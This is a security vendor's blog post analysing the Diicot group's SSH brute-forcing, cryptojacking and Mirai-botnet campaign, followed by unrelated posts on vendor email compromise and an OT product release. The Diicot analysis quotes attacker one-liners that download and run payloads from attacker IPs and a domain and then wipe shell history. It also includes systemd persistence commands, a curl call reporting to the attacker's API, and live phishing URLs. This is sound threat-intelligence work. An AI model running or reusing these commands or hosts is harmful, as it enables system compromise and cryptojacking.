Blog
/
Cloud
/
June 15, 2023

Tracking Diicot: An Emerging Romanian Threat Actor

Cado researchers (now part of Darktrace) identified a campaign by the threat actor Diicot, focusing on SSH brute-forcing and cryptojacking. Diicot utilizes custom tools, modified packers, and Discord for C2, and has expanded its capabilities to include doxxing and DDoS attacks via a Mirai-based botnet.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Nate Bill
Threat Researcher
Default blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog image
15
Jun 2023

Introduction

In a review of honeypot sensor telemetry in early 2023, researchers from Cado Security Labs, (now part of Darktrace) detected an attack pattern that could be attributed to the threat actor Diicot (formerly, “Mexals”).

Investigation of a command-and-control (C2) server used by Diicot led to the discovery of several payloads, some of which did not appear to have any public reporting and were missing from common public malware repositories. It appears that these payloads were being used as part of a new campaign by this emerging group.  

As this blog will discuss, Diicot capabilities and objectives include:

  • The deployment of a self-propagating initial access tool
  • Use of custom packers to obfuscate binary payloads
  • Widespread cryptojacking on compromised targets
  • Identification of vulnerable systems via internet scanning
  • Personal data exposure of perceived enemies (doxxing)
  • Deployment of a botnet agent implicated in distributed denial-of-service (DDoS) attacks
  • C2 reporting via Discord and a custom API endpoint

Diicot background

Information about Diicot is sparse, but to summarize two of the available resources, they appear to have been active since at least 2020 and are known for conducting cryptojacking campaigns and developing Malware-as-a-Service (MaaS) strains. The group originally referred to themselves as Mexals but have since changed to the name Diicot. The Diicot name is significant, as it is also the name of the Romanian organized crime and anti-terrorism policing unit. In addition, artifacts from the group’s campaigns contain messaging and imagery related to this organization. This, combined with the presence of Romanian-language strings and log statements in the payloads themselves, have led prior researchers to attribute the malware to a group based in Romania [1,2].

Although Diicot have traditionally been associated with cryptojacking campaigns, researchers discovered evidence of the group deploying an off-the-shelf Mirai-based botnet agent, named Cayosin. Deployment of this agent was targeted at routers running the Linux-based embedded devices operating system, OpenWrt [3].

The use of Cayosin demonstrates Diicot’s willingness to conduct a variety of attacks (not just cryptojacking) depending on the type of targets they encounter. This finding is consistent with external research, suggesting that the group are still investing engineering effort into deploying Cayosin [4]. In doing so, Diicot have gained the ability to conduct DDoS attacks, as this is the primary objective of Cayosin according to previous reporting.

Not only do Diicot have the ability to conduct cryptojacking and DDoS attacks, but investigation of one of their servers led to the discovery of a Romanian-language video depicting a feud between the group and what appears to be other online personas.  

It is suspected that these personas are members of a rival hacking group. During the course of the video, members of the rival group are mentioned and their personal details, including photographs, home addresses, full names and online handles are exposed (known as doxxing). From this, it can be concluded that the group are actively involved in doxxing members of the public, in addition to the nefarious activities mentioned above.

For the purpose of avoiding overlap with existing research on Diicot, this blog will provide a brief overview of Diicot’s Tactics, Techniques and Procedures (TTPs) along with the execution chain employed by the group in their latest campaign, before focusing on the latest version of their self-propagating SSH brute-forcer.

Diicot TTPs

Attributing a campaign to Diicot is often straightforward, thanks to the group’s relatively distinctive TTPs. Prior research has shown that Diicot make heavy use of the Shell Script Compiler (shc) [5], presumably to make analysis of their loader scripts more difficult. They also frequently pack their payloads with a custom version of UPX, using a header modified with the bytes 0x59545399. This byte sequence is easily identified by tools, and in combination with a specified offset, can be used as a detection mechanism for the group’s binary payloads.

Modified UPX header
Figure 1: Example modified UPX header

Use of a modified UPX header prevents unpacking via the standard upx -d command. Fortunately, the upx_dec utility created by Akamai can be used to circumvent this.   Running the tool restores the header to the format that UPX expects, allowing the binary to be unpacked as normal.

Diicot also rely heavily on the instant messaging and communication platform Discord for C2. Discord supports HTTP POST requests to a webhook URL, allowing exfiltrated data and campaign statistics to be viewed within a given channel. Cado researchers identified four distinct channels used for this campaign, details of which can be found in the Indicators of Compromise (IoCs) section. Thanks to the inclusion of Snowflake timestamps in the hook URLs, it’s possible to view their creation date. This confirms that the campaign was recent and ongoing at the time of writing

Snowflake timestamp conversion
Figure 2: Snowflake timestamp conversion for main C2 webhook

All of these channels were created within an 11-minute timeframe on April 26, 2023. It is likely that an automated process is responsible for the channel creation.

Based on Discord webhook URLs discovered in the samples, it was possible to determine that the Discord account used to create them was “Haceru#1337”.

Additionally, the guild ID for the webhooks is 1100412946003275858, and the following channel IDs are used:

  • 1100669252161249321 for the webhook in the toDiscord function
  • 1100665251655069716 for the webhook in the toFilter function
  • 1100665176862232606 for the webhook in the toFilter2 function
  • 1100665020934787072 for the webhook in the toFilter3 function

The Discord hook is the Discord default “Captain Hook” webhook, but webhooks for toFilter* have the name “Filter DIICOT”.

SIAS police taskforce
Figure 3: An image of the SIAS police taskforce, which is part of the Diicot agency.

Payload execution

Diicot campaigns generally involve a long execution chain, with individual payloads and their outputs forming interdependent relationships.  

Shc executables are typically used as loaders and prepare the system for mining via Diicot’s custom fork of XMRig, along with registering persistence. Executables written in Golang tend to be dedicated to scanning, brute-forcing and propagation, and a fork of the zmap [6] internet scanning utility has often been observed.

The execution chain itself remains largely consistent with campaigns reported by the external researchers previously mentioned, with updates to the payloads themselves observed during Cado Labs’ analysis.

Chain of Execution
Figure 4: Chain of Execution

aliases

Initial access for the Diicot campaign is via a custom SSH brute-forcing tool, named aliases. This executable [7] is a 64-bit ELF written in Golang, and is responsible for ingesting a list of target IP addresses and username/password pairs to conduct a brute force attack.  

bins.sh

bins.sh is executed if aliases encounters an OpenWrt router during the initial access phase, bins.sh is a fairly generic Mirai-style spreader script that attempts to retrieve versions of the Cayosin botnet’s agent for multiple architectures.

cutie.<arch>

cutie.<arch> is a series of 32-bit ELF binaries retrieved by bins.sh if an OpenWrt router is encountered.  cutie.<arch> is a variant of Mirai, specifically Cayosin [8]. Cursory inspection of the ARM variant using open-source intelligence (OSINT) shows a high detection ratio, with most vendors detecting the executable as Mirai [9]. This suggests that the malware has not been customized by Diicot for this campaign.

payload

payload is a 64-bit ELF shc executable that simply calls out to bash and runs a shell script in memory. The script acts as a loader, preparing the target system for cryptocurrency mining, changing the password of the current user,  and installing XMRig if the target has more than four processor cores.  

When changing the user’s password, some simple logic is included to determine whether the user ID is equal to 0 (root). If so, the password is changed to a hardcoded value of $6$REY$R1FGJ.zbsJS/fe9eGkeS1pdWgKbdszOxbUs/E0KtxPsRE9jUCIXkxtC" "MJ9bB1YwOYhKWSSbr/' (inclusive of whitespace and double quotes).  

If the user is not root, “payload” will generate a password by running the date command, piping this through sha256sum and then through base64. The first eight characters of the result are then used for the password itself.  

“payload” also removes any artifacts of prior compromise (a common preparatory action taken by cryptojacking groups) and reports information such as username, password, IP address and number of cores back to an attacker-controlled IP.

.diicot

.diicot is another shc executable serving as a loader for an additional executable named Opera, which is the XMRig miner deployed by Diicot. .diicot begins with an existence check for Opera and retrieves it along with a XMRig configuration file if it doesn’t exist. The details of the mining configuration are viewable in the IoCs section.  

After retrieving and executing the miner, .diicot registers an attacker-controlled SSH key to maintain access to the system. It also creates a simple script under the path /var/tmp/Documents/.b4nd1d0 which is used to relaunch the miner if it’s not running and executes this via cron at a frequency of every minute.  

The sample also checks whether the SSH daemon is running, and executes it if not, before proceeding to automate this functionality as part of a systemd service. The service is saved as /lib/systemd/system/myservice.service and is configured to execute on boot.

echo '[Unit] 
Description=Example systemd service. 
[Service]" "=3600 
ExecStart=/bin/bash /usr/bin/sshd 
[Install] 
WantedBy=multi-user.target' > /lib/systemd/system/myservice.service 
sleep 1 
chmod 644 /lib/systemd/system/myservice.service 
systemctl enable myservice 
systemctl start myservice 

Example commands to register and load the sshd systemd service

Chrome

Chrome is an internet scanner that appears to be based on Zmap. The main difference between the Diicot fork and the original is the ability to write the scan results to a text file in the working directory, with a hardcoded name of bios.txt. This is then read by aliases as a target list for conducting SSH brute-forcing.

Update

Update is another shc executable that retrieves Chrome and aliases if they don’t exist. Update also writes out a hardcoded username/password combination list to a file named protocols in the working directory. This is also read by aliases and used for SSH brute-forcing. Update also includes logic to generate a randomised /16 network prefix. Chrome is then run against this address range. A cronjob is also created to run History and Update and is saved as .5p4rk3l5 before being loaded.

History

History is a very simple plaintext (i.e. uncompiled) shell script that checks whether Update is running and executes it if not; the results of which are logged to standard out.

Analysis of aliases

The sample of aliases we obtained was located at 45[.]88[.]67[.]94/.x/aliases. The last modified header in the HTTP response indicates that it was uploaded to the server on the May 27 when Cado researchers first obtained it, but was updated again on June 5th.

main

This is the main entry point of the go binary. Upon launch, it performs a HTTP GET request to hxxp://45[.]88[.]67[.]94/diicotapi/skema0803 (skema0803 appears to be a hardcoded API key that appears in many Diicot samples). If this fails, or the response does not contain a Discord webhook, then the malware exits with an error message stating that the API was unreachable.

The malware then calls readLines on bios.txt to load a list of IPs to attack, and again on protocols to load a space-delimited list of credentials to attack each IP with. It repeats this process twice, once for port 22, and again for port 2000.

Once this is complete, it spawns a new goroutine (a lightweight thread) for each address and credential combination, with a small delay between each spawn. The goroutine executes the remoteRun function. The main thread applies a 60 second timeout to the goroutines, and exits once there are none left.

init_0

The init_0 function appears to be the result of go optimization. It loads a number of variables into qwords in the .bss section of the binary, including a stringified shell script (referred to above as payload) that is ultimately run on compromised machines. These qwords are then used at various points in the malware.

Interestingly, there is another call here to the diicotapi, and the webhook retrieved is saved into a qword. This does not appear to be used anywhere, making it likely leftover from a previous iteration of aliases.

Figure 5: Disassembly of init_0

toDiscord  

The toDiscord function takes in a string and concatenates it into a curl command, which is then executed via bash. As they have used the go HTTP client module elsewhere, it is unclear why they have decided to use curl instead of it.

Figure 6

toFilter*

The three toFilter functions are the same as toDiscord but with different URLs. They are used later on to send details of the compromised machines to separate Discord channels based on the outcome of the payload script executed on freshly compromised machines. The payload either additionally deploys a cryptominer if the host has four or more cores or just uses the host as a spreader if it has less. It would make sense that they would want to track which hosts are being used to mine and which are being used to spread.  

toApi

The toApi function is similar to the toDiscord and toFilter functions, but sends requests to the attacker’s API. The string passed into the function is first written to /tmp/.txt, and then base64 encoded and passed into an environmental variable called “haceru” (Romanian for hacker). It then executes curl -s arhivehaceru[.]com:2121/api?haceru=$haceru to report this string back to the C2 server.

remoteRun

The remoteRun function takes in an IP, port, and credential pair. It uses the crypto/ssh go package to connect and attempt to authenticate using the details provided. After a successful login, a series of commands are executed to gather information about the compromised system:

uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2" "$3 }

  • This fetches the uptime of the system, which can be useful for determining if the compromised system is a sandbox, which would likely have a low uptime.

lspci | egrep VGA  && lspci | grep 3D

  • This fetches a list of graphics devices connected to the system, which can be used for mining cryptocurrency. However, Diicot’s choice of crypto is Monero, which is typically CPU mined rather than GPU mined.

lscpu | egrep "Model name:" | cut -d ' ' -f 14-

  • This fetches the model of CPU installed in the system, which will determine how quickly the server can mine Monero.

curl ipinfo.io/org

  • This fetches the organization associated with the ASN of the compromised machine's IP address.

nproc

  • This fetches the number of processes running on the compromised machine. Sandboxes and honeypots will typically have fewer running processes, so this information assists Diicot with determining if they are in a sandbox.

uname -s -v -n -r -m

  • This fetches the system hostname, kernel & operating system version information, and arch. This is used to determine whether to infect the machine or not, based on a string blacklist.

Once this is complete, the malware checks that the output of uname contains OpenWrt. If it does, it executes the following command to download bins.sh, the Mirai spreader:

<code>​​cd /var/tmp || cd /tmp/ ; wget -q hxxp://84[.]54[.]50[.]198/pedalcheta/bins.sh || curl -O -s -L hxxp://84[.]54[.]50[.]198/pedalcheta/bins.sh ; chmod 777 bins.sh; sh bins.sh ; rm -rf .* ; rm -rf * ; history -c ; rm -rf ~/.bash_history</code> 

The malware then continues (regardless of whether the system is running OpenWrt) to check the output of uname against a blacklist of strings, which include various cloud providers such as AWS, Linode, and Azure among more generic strings like specific kernel versions and specific services.  

It is unclear why exactly this is. The most likely case is that once they detect that payload did not run properly (sent via one of the toFilter webhooks) they simply blacklist the uname to avoid trying to infect it in the future. It could also be to prevent the malware from running on honeypots, or cloud providers that are likely to detect the cryptominer. It also checks the architecture of the system, as Opera, the custom fork of XMRig, appears to be x86_64 only.

Once these checks have passed, the malware then runs the following script on the compromised host, which downloads and runs the shell script payload:

<code>crontab -r ; cd /var/tmp ; rm -rf /dev/shm/.x ; mkdir /var/tmp/Documents &gt; /dev/null 2&gt;&1 ; cd /var/tmp/ ; pkill Opera ; rm -rf xmrig  .diicot .black Opera ; rm -rf .black xmrig.1 ; pkill cnrig ; pkill java ; killall java ;  pkill xmrig ; killall cnrig ; killall xmrig ; wget -q arhivehaceru[.]com/payload || curl -O -s -L arhivehaceru[.]com/payload || wget -q 45[.]88[.]67[.]94/payload || curl -O -s -L 45[.]88[.]67[.]94/payload ; chmod 777 payload ; ./payload &gt; /dev/null 2&gt;&1 & disown ; history -c ; rm -rf .bash_history ~/.bash_history</code> 

Depending on the environment, payload performs different functions. It either additionally deploys a cryptominer if the host has four or more cores, or just uses the host as a spreader if it has less. To keep track of this, one of the three toFilter methods will be used depending on the output of the executed command. It constructs a Discord embed, and puts the credentials, IP, SSH port (22 or 2000), and output of the commands run during the discovery phase and invokes the chosen toFilter function with this data in JSON form.

Regardless of the toFilter function chosen, the same embed is also passed to toDiscord and toApi.

readLines

The readLines function is a utility function that takes in a file path and reads it into a list of lines. This function is used to load in the IP addresses to attack and the credential combinations to try against them.

Figure 7: Snippet of readLines disassembly

Conclusion

Diicot are an emerging threat group with a range of objectives and the technical knowledge to act on them. This campaign specifically targets SSH servers exposed to the internet with password authentication enabled. The username/password list they use is relatively limited and includes default and easily-guessed credential pairs.  

The research team encourages readers to implement basic SSH hardening to defend against this malware family, including mandatory key-based authentication for SSH instances and implementation of firewall rules to limit SSH access to specific IPs.  

A lengthy and convoluted execution chain can make analysis of a Diicot campaign feel laborious. The group also employs basic obfuscation techniques, such as compiling shell scripts with shc and using a modified UPX header for their binary payloads. These techniques are easily bypassed as an analyst, often revealing executables without further obfuscation and with debug symbols intact.  

The payloads themselves are often noisy in their operation, as is expected with any brute-forcing malware. Scanning attempts from Diicot’s fork of Zmap are particularly noisy and can result in a multitude of outbound SYN packets to addresses within a random /16 network prefix. This activity should be easily identified by administrators with adequate network monitoring in place.

Indicators of compromise

Discord webhooks

hxxps://discord[.]com/api/webhooks/1100669270297419808/UQ2bkUBe9JgAhtEIPYqpqKG6YVRW1fqEkadAY3u6PPmcgEVcYaSRiS37JILi2Vk32or6

hxxps://discord[.]com/api/webhooks/1100666861424754708/pAzInuz8ekK5DmKyoKxmG4H8euCtLkBXZnS33EGnxdl0_hkL5OdRbInQqgdGiQ1U41WF

hxxps://discord[.]com/api/webhooks/1100666766339866694/ex_yUegpCF4NXGkT3sGFp3oWFUkJWE7XarcgTHRcAwmJQtG4pALhcj6PjKUTthNz_0u_

hxxps://discord[.]com/api/webhooks/1100666664623812650/_t9NyLTT_Rbg_Vr14n6YCBkseXrz-RpSe94SFIw-1Pyrkns80tU9uWJL3yjc3eLXo0IU

URLs

arhivehaceru[.]com

Files : SHA-256

Update : 437af650493492c8ef387140b5cb2660044764832d1444e5265a0cd3fe6e0c39

aliases : de6dff4d3de025b3ac4aff7c4fab0a9ac4410321f4dca59e29a44a4f715a9864

aliases (variant) : a163da5c4d6ee856a06e4e349565e19a704956baeb62987622a2b2c43577cdee

Chrome : 14779e087a764063d260cafa5c2b93d7ed5e0d19783eeaea6abb12d17561949a

History : e9bbe9aecfaea4c738d95d0329a5da9bd33c04a97779172c7df517e1a808489c

.diicot : 7389e3aada70d58854e161c98ce8419e7ab8cd93ecd11c2b0ca75c3cafed78cb

bins.sh : 180d30bf357bc4045f197b26b1b8941af9ca0203226a7260092d70dd15f3e6ab

cutie.x86_64 : 7d93419e78647d3cdf2ff53941e8d5714afe09cb826fd2c4be335e83001bdabf

payload : d0e8a398a903f1443a114fa40860b3db2830488813db9a87ddcc5a8a337edd73

… : 6bce1053f33078f3bbbd526162d9178794c19997536b821177f2cb0d4e6e6896

Opera : aabf2ef1e16a88ae0d802efcb2525edb90a996bb5d280b4c61d2870351e3fba4

IP addresses

45[.]88[.]67[.]94

84[.]54[.]50[.]198

SSH keys

ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAoBjnno5GBoIuIYIhrJsQxF6OPHtAbOUIEFB+gdfb1tUTjs+f9zCMGkmNmH45fYVukw6IwmhTZ+AcD3eD "iImmgU9wlw/lalf/WrIuCDp0PArQtjNg/vo7HUGq9SrEIE2jvyVW59mvoYOwfnDLUiguKZirZgpjZF2DDKK6WpZVTVpKcH+HEFdmFAqJInem/CRUE0bqjMr88bUyDjVw9FtJ5EmQenctjrFVaB7hswOaJBmFQmn9G/BXkMvZ6mX7LzCUM2PVHnVfVeCLdwiOINikzW9qzlr8WoHw4qEGJLuQBWXjJu+m2+FdaOD6PL53nY3w== ElPatrono1337

Mining pools

45[.]88[.]67[.]94:7777

139[.]99[.]123[.]196:80

pool[.]supportxmr[.]com:80

Mining pool usernames

87Fxj6UDiwYchWbn2k1mCZJxRxBC5TkLJQoP9EJ4E9V843Z9ySeKYi165Gfc2KjxZnKdxCkz7GKrvXkHE11bvBhD9dbMgQe

87Fxj6UDiwYchWbn2k1mCZJxRxBC5TkLJQoP9EJ4E9V843Z9ySeKYi165Gfc2KjxZnKdxCkz7GKrvXkHE11bvBhD9dbMgQe

87Fxj6UDiwYchWbn2k1mCZJxRxBC5TkLJQoP9EJ4E9V843Z9ySeKYi165Gfc2KjxZnKdxCkz7GKrvXkHE11bvBhD9dbMgQe

Mining pool passwords

proxy0

proxy1

proxy2

Paths

/var/tmp/Documents/

/var/tmp/Documents/.b4nd1d0

/var/tmp/Documents/.5p4rk3l5

/var/tmp/Documents/Opera

/var/tmp/Documents/.diicot

/var/tmp/.update-logs

/tmp/...

/var/tmp/.ladyg0g0/

/var/tmp/.ladyg0g0/.pr1nc35

/lib/systemd/system/myservice.service

/usr/bin/.pidsclip

/usr/bin/.locatione

References

  1. https://www.akamai.com/blog/security-research/mexals-cryptojacking-malware-resurgence   ‍
  2. https://www.bitdefender.com/en-gb/blog/labs/how-we-tracked-a-threat-group-running-an-active-cryptojacking-campaign 
  3. https://openwrt.org/
  4. https://securityaffairs.com/80858/cyber-crime/cayosin-botnet-mmd.html  
  5. https://github.com/neurobin/shc
  6. https://zmap.io/
  7. https://www.virustotal.com/gui/file/de6dff4d3de025b3ac4aff7c4fab0a9ac4410321f4dca59e29a44a4f715a9864
  8. https://twitter.com/malwaremustd1e/status/1297821500435726336?lang=en
  9. https://www.virustotal.com/gui/file/b328bfa242c063c8cfd33bc8ce82abeefc33b5f8e34d0515875216a322954b01
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Nate Bill
Threat Researcher

More in this series

No items found.

Blog

/

Email

/

September 30, 2025

Out of Character: Detecting Vendor Compromise and Trusted Relationship Abuse with Darktrace

vendor email compromiseDefault blog imageDefault blog image

What is Vendor Email Compromise?

Vendor Email Compromise (VEC) refers to an attack where actors breach a third-party provider to exploit their access, relationships, or systems for malicious purposes. The initially compromised entities are often the target’s existing partners, though this can extend to any organization or individual the target is likely to trust.

It sits at the intersection of supply chain attacks and business email compromise (BEC), blending technical exploitation with trust-based deception. Attackers often infiltrate existing conversations, leveraging AI to mimic tone and avoid common spelling and grammar pitfalls. Malicious content is typically hosted on otherwise reputable file sharing platforms, meaning any shared links initially seem harmless.

While techniques to achieve initial access may have evolved, the goals remain familiar. Threat actors harvest credentials, launch subsequent phishing campaigns, attempt to redirect invoice payments for financial gain, and exfiltrate sensitive corporate data.

Why traditional defenses fall short

These subtle and sophisticated email attacks pose unique challenges for defenders. Few busy people would treat an ongoing conversation with a trusted contact with the same level of suspicion as an email from the CEO requesting ‘URGENT ASSISTANCE!’ Unfortunately, many traditional secure email gateways (SEGs) struggle with this too. Detecting an out-of-character email, when it does not obviously appear out of character, is a complex challenge. It’s hardly surprising, then, that 83% of organizations have experienced a security incident involving third-party vendors [1].  

This article explores how Darktrace detected four different vendor compromise campaigns for a single customer, within a two-week period in 2025.  Darktrace / EMAIL successfully identified the subtle indicators that these seemingly benign emails from trusted senders were, in fact, malicious. Due to the configuration of Darktrace / EMAIL in this customer’s environment, it was unable to take action against the malicious emails. However, if fully enabled to take Autonomous Response, it would have held all offending emails identified.

How does Darktrace detect vendor compromise?

The answer lies at the core of how Darktrace operates: anomaly detection. Rather than relying on known malicious rules or signatures, Darktrace learns what ‘normal’ looks like for an environment, then looks for anomalies across a wide range of metrics. Despite the resourcefulness of the threat actors involved in this case, Darktrace identified many anomalies across these campaigns.

Different campaigns, common traits

A wide variety of approaches was observed. Individuals, shared mailboxes and external contractors were all targeted. Two emails originated from compromised current vendors, while two came from unknown compromised organizations - one in an associated industry. The sender organizations were either familiar or, at the very least, professional in appearance, with no unusual alphanumeric strings or suspicious top-level domains (TLDs). Subject line, such as “New Approved Statement From [REDACTED]” and “[REDACTED] - Proposal Document” appeared unremarkable and were not designed to provoke heightened emotions like typical social engineering or BEC attempts.

All emails had been given a Microsoft Spam Confidence Level of 1, indicating Microsoft did not consider them to be spam or malicious [2]. They also passed authentication checks (including SPF, and in some cases DKIM and DMARC), meaning they appeared to originate from an authentic source for the sender domain and had not been tampered with in transit.  

All observed phishing emails contained a link hosted on a legitimate and commonly used file-sharing site. These sites were often convincingly themed, frequently featuring the name of a trusted vendor either on the page or within the URL, to appear authentic and avoid raising suspicion. However, these links served only as the initial step in a more complex, multi-stage phishing process.

A legitimate file sharing site used in phishing emails to host a secondary malicious link.
Figure 1: A legitimate file sharing site used in phishing emails to host a secondary malicious link.
Another example of a legitimate file sharing endpoint sent in a phishing email and used to host a malicious link.
Figure 2: Another example of a legitimate file sharing endpoint sent in a phishing email and used to host a malicious link.

If followed, the recipient would be redirected, sometimes via CAPTCHA, to fake Microsoft login pages designed to capturing credentials, namely http://pub-ac94c05b39aa4f75ad1df88d384932b8.r2[.]dev/offline[.]html and https://s3.us-east-1.amazonaws[.]com/s3cure0line-0365cql0.19db86c3-b2b9-44cc-b339-36da233a3be2ml0qin/s3cccql0.19db86c3-b2b9-44cc-b339-36da233a3be2%26l0qn[.]html#.

The latter made use of homoglyphs to deceive the user, with a link referencing ‘s3cure0line’, rather than ‘secureonline’. Post-incident investigation using open-source intelligence (OSINT) confirmed that the domains were linked to malicious phishing endpoints [3] [4].

Fake Microsoft login page designed to harvest credentials.
Figure 3: Fake Microsoft login page designed to harvest credentials.
Phishing kit with likely AI-generated image, designed to harvest user credentials. The URL uses ‘s3cure0line’ instead of ‘secureonline’, a subtle misspelling intended to deceive users.
Figure 4: Phishing kit with likely AI-generated image, designed to harvest user credentials. The URL uses ‘s3cure0line’ instead of ‘secureonline’, a subtle misspelling intended to deceive users.

Darktrace Anomaly Detection

Some senders were unknown to the network, with no previous outbound or inbound emails. Some had sent the email to multiple undisclosed recipients using BCC, an unusual behavior for a new sender.  

Where the sender organization was an existing vendor, Darktrace recognized out-of-character behavior, in this case it was the first time a link to a particular file-sharing site had been shared. Often the links themselves exhibited anomalies, either being unusually prominent or hidden altogether - masked by text or a clickable image.

Crucially, Darktrace / EMAIL is able to identify malicious links at the time of processing the emails, without needing to visit the URLs or analyze the destination endpoints, meaning even the most convincing phishing pages cannot evade detection – meaning even the most convincing phishing emails cannot evade detection. This sets it apart from many competitors who rely on crawling the endpoints present in emails. This, among other things, risks disruption to user experience, such as unsubscribing them from emails, for instance.

Darktrace was also able to determine that the malicious emails originated from a compromised mailbox, using a series of behavioral and contextual metrics to make the identification. Upon analysis of the emails, Darktrace autonomously assigned several contextual tags to highlight their concerning elements, indicating that the messages contained phishing links, were likely sent from a compromised account, and originated from a known correspondent exhibiting out-of-character behavior.

A summary of the anomalous email, confirming that it contained a highly suspicious link.
Figure 5: Tags assigned to offending emails by Darktrace / EMAIL.

Figure 6: A summary of the anomalous email, confirming that it contained a highly suspicious link.

Out-of-character behavior caught in real-time

In another customer environment around the same time Darktrace / EMAIL detected multiple emails with carefully crafted, contextually appropriate subject lines sent from an established correspondent being sent to 30 different recipients. In many cases, the attacker hijacked existing threads and inserted their malicious emails into an ongoing conversation in an effort to blend in and avoid detection. As in the previous, the attacker leveraged a well-known service, this time ClickFunnels, to host a document containing another malicious link. Once again, they were assigned a Microsoft Spam Confidence Level of 1, indicating that they were not considered malicious.

The legitimate ClickFunnels page used to host a malicious phishing link.
Figure 7: The legitimate ClickFunnels page used to host a malicious phishing link.

This time, however, the customer had Darktrace / EMAIL fully enabled to take Autonomous Response against suspicious emails. As a result, when Darktrace detected the out-of-character behavior, specifically, the sharing of a link to a previously unused file-sharing domain, and identified the likely malicious intent of the message, it held the email, preventing it from reaching recipients’ inboxes and effectively shutting down the attack.

Figure 8: Darktrace / EMAIL’s detection of malicious emails inserted into an existing thread.*

*To preserve anonymity, all real customer names, email addresses, and other identifying details have been redacted and replaced with fictitious placeholders.

Legitimate messages in the conversation were assigned an Anomaly Score of 0, while the newly inserted malicious emails identified and were flagged with the maximum score of 100.

Key takeaways for defenders

Phishing remains big business, and as the landscape evolves, today’s campaigns often look very different from earlier versions. As with network-based attacks, threat actors are increasingly leveraging legitimate tools and exploiting trusted relationships to carry out their malicious goals, often staying under the radar of security teams and traditional email defenses.

As attackers continue to exploit trusted relationships between organizations and their third-party associates, security teams must remain vigilant to unexpected or suspicious email activity. Protecting the digital estate requires an email solution capable of identifying malicious characteristics, even when they originate from otherwise trusted senders.

Credit to Jennifer Beckett (Cyber Analyst), Patrick Anjos (Senior Cyber Analyst), Ryan Traill (Analyst Content Lead), Kiri Addison (Director of Product)

Appendices

IoC - Type - Description + Confidence  

- http://pub-ac94c05b39aa4f75ad1df88d384932b8.r2[.]dev/offline[.]html#p – fake Microsoft login page

- https://s3.us-east-1.amazonaws[.]com/s3cure0line-0365cql0.19db86c3-b2b9-44cc-b339-36da233a3be2ml0qin/s3cccql0.19db86c3-b2b9-44cc-b339-36da233a3be2%26l0qn[.]html# - link to domain used in homoglyph attack

MITRE ATT&CK Mapping  

Tactic – Technique – Sub-Technique  

Initial Access - Phishing – (T1566)  

References

1.     https://gitnux.org/third-party-risk-statistics/

2.     https://learn.microsoft.com/en-us/defender-office-365/anti-spam-spam-confidence-level-scl-about

3.     https://www.virustotal.com/gui/url/5df9aae8f78445a590f674d7b64c69630c1473c294ce5337d73732c03ab7fca2/detection

4.     https://www.virustotal.com/gui/url/695d0d173d1bd4755eb79952704e3f2f2b87d1a08e2ec660b98a4cc65f6b2577/details

The content provided in this blog is published by Darktrace for general informational purposes only and reflects our understanding of cybersecurity topics, trends, incidents, and developments at the time of publication. While we strive to ensure accuracy and relevance, the information is provided “as is” without any representations or warranties, express or implied. Darktrace makes no guarantees regarding the completeness, accuracy, reliability, or timeliness of any information presented and expressly disclaims all warranties.

Nothing in this blog constitutes legal, technical, or professional advice, and readers should consult qualified professionals before acting on any information contained herein. Any references to third-party organizations, technologies, threat actors, or incidents are for informational purposes only and do not imply affiliation, endorsement, or recommendation.

Darktrace, its affiliates, employees, or agents shall not be held liable for any loss, damage, or harm arising from the use of or reliance on the information in this blog.

The cybersecurity landscape evolves rapidly, and blog content may become outdated or superseded. We reserve the right to update, modify, or remove any content

Continue reading
About the author
Jennifer Beckett
Cyber Analyst

Blog

/

OT

/

October 1, 2025

Announcing Unified OT Security with Dedicated OT Workflows, Segmentation-Aware Risk Insights, and Next-Gen Endpoint Visibility for Industrial Teams

Default blog imageDefault blog image

The challenge of convergence without clarity

Convergence is no longer a roadmap idea, it is the daily reality for industrial security teams. As Information Technology (IT) and Operational Technology (OT) environments merge, the line between a cyber incident and an operational disruption grows increasingly hard to define. A misconfigured firewall rule can lead to downtime. A protocol misuse might look like a glitch. And when a pump stalls but nothing appears in the Security Operations Center (SOC) dashboard, teams are left asking: is this operational or is this a threat?

The lack of shared context slows down response, creates friction between SOC analysts and plant engineers, and leaves organizations vulnerable at exactly the points where IT and OT converge. Defenders need more than alerts, they need clarity that both sides can trust.

The breakthrough with Darktrace / OT

This latest Darktrace / OT release was built to deliver exactly that. It introduces shared context between Security, IT, and OT operations, helping reduce friction and close the security gaps at the intersection of these domains.

With a dedicated dashboard built for operations teams, extended visibility into endpoints for new forms of detection and CVE collection, expanded protocol coverage, and smarter risk modeling aligned to segmentation policies, teams can now operate from a shared source of truth. These enhancements are not just incremental upgrades, they are foundational improvements designed to bring clarity, efficiency, and trust to converged environments.

A dashboard built for OT engineers

The new Operational Overview provides OT engineers with a workspace designed for them, not for SOC analysts. It brings asset management, risk insights and operational alerts into one place. Engineers can now see activity like firmware changes, controller reprograms or the sudden appearance of a new workstation on the network, providing a tailored view for critical insights and productivity gains without navigating IT-centric workflows. Each device view is now enriched with cross-linked intelligence, make, model, firmware version and the roles inferred by Self-Learning AI, making it easier to understand how each asset behaves, what function it serves, and where it fits within the broader industrial process. By suppressing IT-centric noise, the dashboard highlights only the anomalies that matter to operations, accelerating triage, enabling smoother IT/OT collaboration, and reducing time to root cause without jumping between tools.

This is usability with purpose, a view that matches OT workflows and accelerates response.

Figure 1: The Operational Overview provides an intuitive dashboard summarizing all OT Assets, Alerts, and Risk.

Full-spectrum coverage across endpoints, sensors and protocols

The release also extends visibility into areas that have traditionally been blind spots. Engineering workstations, Human-Machine Interfaces (HMIs), contractor laptops and field devices are often the entry points for attackers, yet the hardest to monitor.

Darktrace introduces Network Endpoint eXtended Telemetry (NEXT) for OT, a lightweight collector built for segmented and resource-constrained environments. NEXT for OT uses Endpoint sensors to capture localized network, and now process-level telemetry, placing it in context alongside other network and asset data to:

  1. Identify vulnerabilities and OS data, which is leveraged by OT Risk Management for risk scoring and patching prioritization, removing the need for third-party CVE collection.
